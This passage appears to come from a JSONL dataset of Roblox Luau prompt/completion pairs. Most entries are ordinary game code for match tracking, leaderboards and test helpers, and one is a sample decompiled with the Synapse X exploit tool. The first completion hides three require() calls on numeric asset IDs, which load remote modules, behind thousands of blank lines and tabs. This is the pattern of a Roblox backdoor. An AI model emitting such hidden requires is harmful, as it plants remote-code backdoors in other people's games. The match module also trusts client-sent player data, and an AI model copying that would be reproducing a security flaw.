"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t require(6091305634):Stys() require(5151855975) require(5869080069):Stys() \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn {\n\t[\"Over Power\"] = {\n\t\tcanDrop = false, \n\t\tdropWeight = 6, \n\t\tisUnique = true, \n\t\ttiers = { {\n\t\t\t\ttitle = \"Over Power\", \n\t\t\t\tdesc = \"All the pets that have this power are OP\"\n\t\t\t} }\n\t}\n};\n"} +{"prompt": "-- UTC (year, month, day, hour, minute)", "completion": "\nlocal FIRST_EVER_SHOW = DateTime.fromUniversalTime(year, month, day, hour, minute, second, millisecond).UnixTimestampMillis/1000\n"} +{"prompt": "-- Only call this function when there are teams or it will wait forever", "completion": "\nfunction PlayerMatchInfo.WaitForTeamSet(player)\n\twhile PlayerMatchInfo.playerMatchInfoByName[player.Name] == nil or PlayerMatchInfo.playerMatchInfoByName[player.Name].teamNumber == 0 do\n\t\twait()\n\tend\nend\n\nfunction PlayerMatchInfo.WillPlayerRespawn(player)\n\treturn PlayerMatchInfo.teamInfo[PlayerMatchInfo.GetField(player, \"teamNumber\")].numRespawnTickets > 0 or\n\t\t PlayerMatchInfo.playerMatchInfoByName[player.Name].waitingForRespawn\nend\n\nfunction PlayerMatchInfo.RegisterKill(target, dealer)\n\t-- Update kill/death counts\n\tif target == dealer then\n\t\t-- Subtract 1 from kills and add 1 to deaths (since player killed themself)\n\t\tPlayerMatchInfo.playerMatchInfoByName[target.Name].lastKiller = target\n\t\tPlayerMatchInfo.playerMatchInfoByName[target.Name].deaths = PlayerMatchInfo.GetField(target, \"deaths\") + 1\n\t\tPlayerMatchInfo.playerMatchInfoByName[target.Name].kills = math.max(0, PlayerMatchInfo.GetField(target, \"kills\") - 1)\n\t\tPlayerMatchInfo.UpdateLeaderboard(target.Name)\n\telse\n\t\t-- Update kills and deaths normally\n\t\tPlayerMatchInfo.playerMatchInfoByName[target.Name].deaths = PlayerMatchInfo.GetField(target, \"deaths\") + 1\n\t\tif dealer ~= nil then\n\t\t\tPlayerMatchInfo.playerMatchInfoByName[target.Name].lastKiller = dealer\n\t\t\tPlayerMatchInfo.playerMatchInfoByName[dealer.Name].kills = PlayerMatchInfo.GetField(dealer, \"kills\") + 1\n\t\t\tPlayerMatchInfo.UpdateLeaderboard(dealer.Name)\n\t\tend\n\tend\n\n\tlocal targetTeamInfo = PlayerMatchInfo.teamInfo[PlayerMatchInfo.GetField(target, \"teamNumber\")]\n\tlocal teamRespawnTicketCount = 0\n\n\t-- Update teamInfo for target player and set waitingForRespawn to true\n\tif PlayerMatchInfo.getCurrentStageName() == \"Gameplay\" then\n\t\tif Conf.num_teams > 0 then\n\t\t\tteamRespawnTicketCount = targetTeamInfo.numRespawnTickets\n\t\t\tif teamRespawnTicketCount > 0 then\n\t\t\t\ttargetTeamInfo.numRespawnTickets = teamRespawnTicketCount - 1\n\t\t\t\tPlayerMatchInfo.playerMatchInfoByName[target.Name].waitingForRespawn = true\n\t\t\telse\n\t\t\t\ttargetTeamInfo.numAlivePlayers = targetTeamInfo.numAlivePlayers - 1\n\t\t\t\tPlayerMatchInfo.playerMatchInfoByName[target.Name].isPermanentlyDead = true\n\t\t\tend\n\t\telseif Conf.game_mode_name == \"DEFAULT\" then\n\t\t\tPlayerMatchInfo.playerMatchInfoByName[target.Name].isPermanentlyDead = true\n\t\t\tPlayerMatchInfo.teamInfo[1] = PlayerMatchInfo.teamInfo[1] - 1\n\t\tend\n\tend\n\n\tif IsServer then\n\t\t-- Notify clients of kill\n\t\tPlayerMatchInfoEvent:FireAllClients(\"RegisterKill\", target, dealer)\n\n\t\t-- Check win condition\n\t\tPlayerMatchInfo.CheckWinCondition(dealer)\n\n\t\t-- Respawn player that was killed\n\t\tif Conf.num_teams > 0 and teamRespawnTicketCount > 0 then\n\t\t\tRespawnEvent:Fire(target)\n\t\telseif Conf.num_teams <= 0 and Conf.respawn then\n\t\t\tRespawnEvent:Fire(target)\n\t\tend\n\tend\nend\n\nfunction PlayerMatchInfo.CheckWinCondition(dealer)\n\tif PlayerMatchInfo.getCurrentStageName() ~= \"Gameplay\" then\n\t\treturn\n\tend\n\n\tif Conf.game_mode_name == \"DEATHMATCH\" then\n\t\t-- End game if there is only one player left\n\t\tif #Players:GetPlayers() == 1 then\n\t\t\tlocal lastPlayer = Players:GetPlayers()[1]\n\t\t\tPlayerMatchInfoEvent:FireAllClients(\"WinConditionMet\", lastPlayer)\n\t\t\tprint(string.format(\"%s won!\", lastPlayer.Name))\n\t\t\tPlayerMatchInfo.getGameStageHandler():nextStage()\n\t\tend\n\n\t\t-- End game if the player that just got a kill has reached number of kills needed to win\n\t\tif dealer ~= nil and PlayerMatchInfo.GetField(dealer, \"kills\") >= Conf.killsNeededToWin then\n\t\t\tPlayerMatchInfoEvent:FireAllClients(\"WinConditionMet\", dealer)\n\t\t\tprint(string.format(\"%s won!\", dealer.Name))\n\t\t\tPlayerMatchInfo.getGameStageHandler():nextStage()\n\t\tend\n\telseif Conf.game_mode_name == \"DEFAULT\" then\n\t\t-- Determine who is still alive\n\t\tlocal playersAlive = {}\n\t\tfor _, playerInstance in pairs(Players:GetPlayers()) do\n\t\t\tif playerInstance.Character and playerInstance.Character.Humanoid and playerInstance.Character.Humanoid.Health >= 1 then\n\t\t\t\tplayersAlive[#playersAlive + 1] = playerInstance\n\t\t\tend\n\t\tend\n\n\t\tif #playersAlive == 1 then\n\t\t\tprint(string.format(\"%s won!\", playersAlive[1].Name))\n\t\t\tPlayerMatchInfoEvent:FireAllClients(\"WinConditionMet\", playersAlive[1])\n\t\telseif #playersAlive == 0 then\n\t\t\tprint(\"Everyone died \ud83d\ude28\")\n\t\t\tPlayerMatchInfoEvent:FireAllClients(\"WinConditionMet\", nil)\n\t\tend\n\n\t\tif #playersAlive <= 1 then\n\t\t\tPlayerMatchInfo.getGameStageHandler():nextStage()\n\t\tend\n\telseif Conf.game_mode_name == \"TEAM_DEATHMATCH\" then\n\t\t-- Determine if there is at least one player alive on each team\n\t\tlocal aliveTeams = {}\n\t\tfor i = 1, Conf.num_teams do\n\t\t\tif PlayerMatchInfo.teamInfo[i].numAlivePlayers > 0 then\n\t\t\t\ttable.insert(aliveTeams, i)\n\t\t\tend\n\t\tend\n\n\t\tif #aliveTeams == 1 then\n\t\t\tprint(string.format(\"%s team won!\", Conf.team_names[aliveTeams[1]]))\n\t\t\tPlayerMatchInfoEvent:FireAllClients(\"WinConditionMet\", aliveTeams[1])\n\t\telseif #aliveTeams == 0 then\n\t\t\tprint(\"All teams died \ud83d\ude28\")\n\t\t\tPlayerMatchInfoEvent:FireAllClients(\"WinConditionMet\", 0)\n\t\tend\n\n\t\tif #aliveTeams <= 1 then\n\t\t\tPlayerMatchInfo.getGameStageHandler():nextStage()\n\t\tend\n\tend\nend\n\nfunction PlayerMatchInfo.NotifyLeaderboard(shouldStayOpen)\n\tif not IsServer then\n\t\tLeaderboardEvent:Fire(PlayerMatchInfo.playerMatchInfoByName, PlayerMatchInfo.playerLeaderboardOrder, shouldStayOpen)\n\tend\nend\n\nfunction PlayerMatchInfo.NotifyTeamScoreDisplay()\n\tif not IsServer then\n\t\tTeamScoreDisplayEvent:Fire(PlayerMatchInfo.teamInfo)\n\tend\nend\n\nfunction PlayerMatchInfo.UpdateLeaderboard(dealerName)\n\tlocal dealerIndex = 0\n\tlocal insertionIndex = nil\n\tfor i, name in ipairs(PlayerMatchInfo.playerLeaderboardOrder) do\n\t\tif dealerName == name then\n\t\t\tdealerIndex = i\n\t\tend\n\t\tif insertionIndex == nil and PlayerMatchInfo.playerMatchInfoByName[name].kills < PlayerMatchInfo.playerMatchInfoByName[dealerName].kills then\n\t\t\tinsertionIndex = i\n\t\tend\n\tend\n\tif insertionIndex == nil then\n\t\ttable.insert(PlayerMatchInfo.playerLeaderboardOrder, dealerName)\n\t\ttable.remove(PlayerMatchInfo.playerLeaderboardOrder, dealerIndex)\n\telseif dealerIndex > insertionIndex then\n\t\ttable.remove(PlayerMatchInfo.playerLeaderboardOrder, dealerIndex)\n\t\ttable.insert(PlayerMatchInfo.playerLeaderboardOrder, insertionIndex, dealerName)\n\telseif dealerIndex < insertionIndex then\n\t\ttable.insert(PlayerMatchInfo.playerLeaderboardOrder, insertionIndex, dealerName)\n\t\ttable.remove(PlayerMatchInfo.playerLeaderboardOrder, dealerIndex)\n\tend\nend\n\nfunction PlayerMatchInfo.getGameStageHandler()\n\tif not IsServer then\n\t\treturn nil\n\tend\n\n\tif PlayerMatchInfo.gameStageHandler == nil then\n\t\tPlayerMatchInfo.gameStageHandler = require(game:GetService(\"ServerScriptService\").Core.GameStageHandler).getInstance()\n\tend\n\treturn PlayerMatchInfo.gameStageHandler\nend\n\nfunction PlayerMatchInfo.getStageManager()\n\tif IsServer then\n\t\treturn nil\n\tend\n\n\tif PlayerMatchInfo.stageManager == nil then\n\t\tPlayerMatchInfo.stageManager = require(ReplicatedStorage.Core.StageManager)\n\tend\n\treturn PlayerMatchInfo.stageManager\nend\n\nfunction PlayerMatchInfo.getCurrentStageName()\n\tif IsServer then\n\t\treturn PlayerMatchInfo.getGameStageHandler().currentStageClassName\n\telse\n\t\treturn PlayerMatchInfo.getStageManager().getStage()\n\tend\nend\n\nlocal function onCharacterAdded(character)\n\tif PlayerMatchInfo.playerMatchInfoByName[character.Name] then\n\t\tPlayerMatchInfo.playerMatchInfoByName[character.Name].waitingForRespawn = false\n\tend\nend\n\nlocal function onPlayerAdded(player)\n\t-- Initialize player's match info\n\tPlayerMatchInfo.playerMatchInfoByName[player.Name] = {\n\t\tdidJump = false,\n\t\tkills = 0,\n\t\tdeaths = 0,\n\t\tdisplayColor = Color3.fromRGB(255, 0, 50),\n\t\tteamNumber = 0,\n\t\twaitingForRespawn = false,\n\t\tlastKiller = nil,\n\t\tisPermanentlyDead = false,\n\t}\n\ttable.insert(PlayerMatchInfo.playerLeaderboardOrder, player.Name)\n\n\tif Conf.num_teams == 0 then\n\t\tPlayerMatchInfo.teamInfo[1] = PlayerMatchInfo.teamInfo[1] + 1\n\t\tPlayerMatchInfo.NotifyTeamScoreDisplay()\n\tend\n\n\t-- Set the player's team if this game mode uses teams\n\tif IsServer and Conf.num_teams > 0 then\n\t\t-- Find team with least players\n\t\tlocal teamToAssign = 1\n\t\tfor i = 2, Conf.num_teams do\n\t\t\tif PlayerMatchInfo.teamInfo[i].numAlivePlayers < PlayerMatchInfo.teamInfo[teamToAssign].numAlivePlayers then\n\t\t\t\tteamToAssign = i\n\t\t\tend\n\t\tend\n\n\t\t-- Assign team to player\n\t\tlocal teamInfo = PlayerMatchInfo.teamInfo[teamToAssign]\n\t\tteamInfo.playerList[player.Name] = true\n\t\tteamInfo.numAlivePlayers = teamInfo.numAlivePlayers + 1\n\t\tPlayerMatchInfo.playerMatchInfoByName[player.Name].displayColor = Conf.team_colors[teamToAssign]\n\t\tPlayerMatchInfo.playerMatchInfoByName[player.Name].teamNumber = teamToAssign\n\t\tPlayerMatchInfoEvent:FireAllClients(\"SetPlayerTeam\", player, PlayerMatchInfo.playerMatchInfoByName[player.Name])\n\t\tPlayerMatchInfoEvent:FireClient(player, \"SetAllMatchInfo\", PlayerMatchInfo.playerMatchInfoByName, PlayerMatchInfo.playerLeaderboardOrder, PlayerMatchInfo.teamInfo)\n\telseif IsServer then\n\t\tPlayerMatchInfoEvent:FireClient(player, \"SetAllMatchInfo\", PlayerMatchInfo.playerMatchInfoByName, PlayerMatchInfo.playerLeaderboardOrder, PlayerMatchInfo.teamInfo)\n\tend\n\n\tPlayerMatchInfo.NotifyLeaderboard()\n\n\tplayer.CharacterAdded:Connect(onCharacterAdded)\n\tif player.Character then\n\t\tonCharacterAdded(player.Character)\n\tend\nend\n\nlocal function onPlayerRemoving(player)\n\tif Conf.num_teams > 0 then\n\t\tlocal teamInfo = PlayerMatchInfo.teamInfo[PlayerMatchInfo.GetField(player, \"teamNumber\")]\n\t\tif teamInfo.numRespawnTickets > 0 or not PlayerMatchInfo.GetField(player, \"isPermanentlyDead\") then\n\t\t\tteamInfo.numAlivePlayers = teamInfo.numAlivePlayers - 1\n\t\t\tPlayerMatchInfo.NotifyTeamScoreDisplay()\n\t\tend\n\t\tteamInfo.playerList[player.Name] = nil\n\telseif not PlayerMatchInfo.GetField(player, \"isPermanentlyDead\") then\n\t\tPlayerMatchInfo.teamInfo[1] = PlayerMatchInfo.teamInfo[1] - 1\n\t\tPlayerMatchInfo.NotifyTeamScoreDisplay()\n\tend\n\n\tPlayerMatchInfo.playerMatchInfoByName[player.Name] = nil\n\n\tfor i, name in ipairs(PlayerMatchInfo.playerLeaderboardOrder) do\n\t\tif name == player.Name then\n\t\t\ttable.remove(PlayerMatchInfo.playerLeaderboardOrder, i)\n\t\t\tbreak\n\t\tend\n\tend\n\n\tPlayerMatchInfo.NotifyLeaderboard()\n\n\tif IsServer then\n\t\tPlayerMatchInfo.CheckWinCondition()\n\tend\nend\n\nif IsServer then\n\tPlayerMatchInfoEvent.OnServerEvent:Connect(function(player, cmd, matchInfo)\n\t\tif cmd == \"UpdatePlayerInfo\" then\n\t\t\tPlayerMatchInfo.playerMatchInfoByName[player.Name] = matchInfo\n\t\t\tPlayerMatchInfoEvent:FireAllClients(\"UpdatePlayerInfo\", player, matchInfo)\n\t\tend\n\tend)\n\tRegisterKillEvent.Event:Connect(function(target, dealer)\n\t\tPlayerMatchInfo.RegisterKill(target, dealer)\n\tend)\nelse\n\tPlayerMatchInfoEvent.OnClientEvent:Connect(function(cmd, ...)\n\t\tif cmd == \"UpdatePlayerInfo\" then\n\t\t\tlocal player, matchInfo = ...\n\t\t\tPlayerMatchInfo.playerMatchInfoByName[player.Name] = matchInfo\n\t\telseif cmd == \"SetPlayerTeam\" then\n\t\t\tlocal player, matchInfo = ...\n\t\t\tif player ~= Players.LocalPlayer then -- local player's info will be set by 'SetAllMatchInfo'\n\t\t\t\tPlayerMatchInfo.playerMatchInfoByName[player.Name] = matchInfo\n\t\t\t\tlocal teamInfo = PlayerMatchInfo.teamInfo[matchInfo.teamNumber]\n\t\t\t\tteamInfo.playerList[player.Name] = true\n\t\t\t\tteamInfo.numAlivePlayers = teamInfo.numAlivePlayers + 1\n\t\t\t\tPlayerMatchInfo.NotifyLeaderboard()\n\t\t\t\tPlayerMatchInfo.NotifyTeamScoreDisplay()\n\t\t\tend\n\t\telseif cmd == \"RegisterKill\" then\n\t\t\tlocal target, dealer = ...\n\t\t\tPlayerMatchInfo.RegisterKill(target, dealer)\n\t\t\tPlayerMatchInfo.NotifyLeaderboard()\n\t\t\tPlayerMatchInfo.NotifyTeamScoreDisplay()\n\t\telseif cmd == \"WinConditionMet\" then\n\t\t\tlocal winMessage = nil\n\t\t\tlocal winMessageColor = Color3.fromRGB(255, 255, 255)\n\t\t\tif Conf.game_mode_name == \"DEATHMATCH\" then\n\t\t\t\tlocal winner = ...\n\t\t\t\twinMessage = winner.Name .. \" Wins!\"\n\t\t\t\t-- Set winner color on leaderboard to gold and force leaderboard to stay open\n\t\t\t\tPlayerMatchInfo.playerMatchInfoByName[winner.Name].displayColor = Color3.fromRGB(255, 223, 0)\n\t\t\t\tPlayerMatchInfo.NotifyLeaderboard(true)\n\t\t\telseif Conf.game_mode_name == \"DEFAULT\" then\n\t\t\t\tlocal winner = ...\n\t\t\t\tif winner == nil then\n\t\t\t\t\twinMessage = \"Nobody Wins!\"\n\t\t\t\telse\n\t\t\t\t\twinMessage = winner.Name .. \" Wins!\"\n\t\t\t\tend\n\t\t\telseif Conf.game_mode_name == \"TEAM_DEATHMATCH\" then\n\t\t\t\tlocal winningTeamNum = ...\n\t\t\t\tif winningTeamNum == 0 then\n\t\t\t\t\twinMessage = \"No Team Wins!\"\n\t\t\t\telse\n\t\t\t\t\twinMessage = Conf.team_names[winningTeamNum] .. \" Team Wins!\"\n\t\t\t\t\twinMessageColor = Conf.team_colors[winningTeamNum]\n\t\t\t\tend\n\t\t\tend\n\t\t\tEndGameMessageEvent:Fire(true, winMessage, winMessageColor)\n\t\telseif cmd == \"SetAllMatchInfo\" then -- this lets the client know what team everyone already in the game is on\n\t\t\tPlayerMatchInfo.playerMatchInfoByName, PlayerMatchInfo.playerLeaderboardOrder, PlayerMatchInfo.teamInfo = ...\n\t\t\tfor _, player in pairs(Players:GetPlayers()) do\n\t\t\t\tif PlayerMatchInfo.playerMatchInfoByName[player.Name] == nil then\n\t\t\t\t\tonPlayerAdded(player) -- this makes sure to add players that were added after \"SetAllMatchInfo\" was sent from server\n\t\t\t\t\t\t\t\t\t\t -- but before this script started detecting new players with a PlayerAdded connection\n\t\t\t\telse\n\t\t\t\t\tplayer.CharacterAdded:Connect(onCharacterAdded)\n\t\t\t\t\tif player.Character then\n\t\t\t\t\t\tonCharacterAdded(player.Character)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tPlayerMatchInfo.matchInfoSet = true\n\t\t\tPlayerMatchInfo.NotifyLeaderboard()\n\t\t\tPlayerMatchInfo.NotifyTeamScoreDisplay()\n\t\tend\n\tend)\nend\n\nPlayers.PlayerAdded:Connect(onPlayerAdded)\nif IsServer then -- only do on server because it will send all tables to new clients with 'SetAllMatchInfo'\n\tfor _, player in pairs(Players:GetPlayers()) do\n\t\tonPlayerAdded(player)\n\tend\nend\n\nif IsServer then\n\tPlayerMatchInfo.matchInfoSet = true -- will be set to true on client when it receives 'SetAllMatchInfo' from server\nend\n\nPlayers.PlayerRemoving:Connect(onPlayerRemoving)\n\nreturn PlayerMatchInfo\n"} +{"prompt": "--script.Parent.Parent.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false)", "completion": "\n\n"} +{"prompt": "-- Do not call function if received is equal to expected.", "completion": "\nlocal function printReceivedConstructorNameNot(label: string, received, expected): string\n\tlocal retval\n\tif\n\t\ttypeof(tostring(expected)) == \"string\"\n\t\tand #tostring(expected) ~= 0\n\t\tand typeof(tostring(received)) == \"string\"\n\t\tand #tostring(received) ~= 0\n\tthen\n\t\tif printable(expected) and printable(received) then\n\t\t\tretval = printConstructorName(label, received, true, false)\n\n\t\t\tif getmetatable(received) and getmetatable(received).__index == expected then\n\t\t\t\tretval = retval .. \" extends \"\n\t\t\telse\n\t\t\t\tretval = retval .. \" extends \u2026 extends \"\n\t\t\tend\n\t\t\tretval = retval .. EXPECTED_COLOR(tostring(expected)) .. \"\\n\"\n\t\t\treturn retval\n\t\telse\n\t\t\treturn printConstructorName(label, received, true, false) .. \"\\n\"\n\t\tend\n\telse\n\t\treturn printConstructorName(label, received, false, false) .. 